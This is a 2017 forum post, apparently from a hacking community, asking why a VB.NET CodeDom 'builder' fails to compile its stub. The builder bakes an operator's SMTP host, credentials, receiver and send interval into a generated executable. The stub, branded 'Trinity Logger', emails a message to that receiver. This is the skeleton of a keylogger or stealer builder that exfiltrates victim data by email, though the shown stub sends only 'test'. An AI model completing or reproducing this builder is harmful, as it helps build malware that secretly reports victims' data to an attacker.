Oct 23, 2017 11:06 AM
(This post was last modified: Oct 23, 2017 11:08 AM by CacheIsAFag.)
So i managed to get CodeDom working, I can build a blank exe or even an exe that displays a text box with variables defined in the builder.
Builder code:
Stub (works like this)
What i'm trying to do (doesn't work syntax is fully correct)
Does anyone know why the exe file won't build at all even though the syntax is fully correct?
Builder code:
Code
Public Class Form1
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
End Sub
Private Sub StrafeButton1_Click(sender As Object, e As EventArgs) Handles StrafeButton1.Click
SaveFileDialog1.ShowDialog()
Dim hostdet As String = host.Text
Dim portdet As String = port.Text
Dim creds As String = credentials.Text
Dim subj As String = subject.Text
Dim inter = Convert.ToInt32(interval.Text)
Dim compiler As System.CodeDom.Compiler.ICodeCompiler = New VBCodeProvider().CreateCompiler
Dim parameters As New System.CodeDom.Compiler.CompilerParameters
parameters.ReferencedAssemblies.Add("System.Windows.Forms.dll")
parameters.GenerateExecutable = True
parameters.OutputAssembly = SaveFileDialog1.FileName
parameters.CompilerOptions = "/target:winexe"
Dim results As System.CodeDom.Compiler.CompilerResults = compiler.CompileAssemblyFromSource(parameters, My.Resources.stub.Replace("%host%", hostdet).Replace("%port%", portdet).Replace("%interval%", inter).Replace("%credentials%", creds).Replace("%subject%", subj).Replace("%receiver%", receiver.Text))
End Sub
End ClassCode
Imports System
Imports System.Net.Mail
Imports System.Threading
Imports System.Windows.Forms
Namespace MyApp
Public Class EntryPoint
Public Shared Sub Main()
End Sub
End Class
End NamespaceWhat i'm trying to do (doesn't work syntax is fully correct)
Code
Imports System
Imports System.Net.Mail
Imports System.Threading
Imports System.Windows.Forms
Namespace MyApp
Public Class EntryPoint
Public Shared Sub Main()
Try
Dim smtpserver As New SmtpClient
smtpserver.EnableSsl = True
smtpserver.Credentials = New Net.NetworkCredential("%credentials%")
smtpserver.Port = %port%
smtpserver.Host = "%host%"
Dim mail As New MailMessage
mail = New MailMessage
mail.From = New MailAddress("[email protected]", "Trinity Logger")
mail.To.Add("%receiver%")
mail.Subject = ("%subject%")
mail.Body = "test"
smtpserver.Send(mail)
Catch ex As Exception
End Try
End Sub
End Class
End NamespaceDoes anyone know why the exe file won't build at all even though the syntax is fully correct?
Need Something? HMU i can provide almost anything.


![[Image: Syr3DlV.png]](https://i.imgur.com/Syr3DlV.png)

![[Image: F2G97kn.png]](https://i.imgur.com/F2G97kn.png)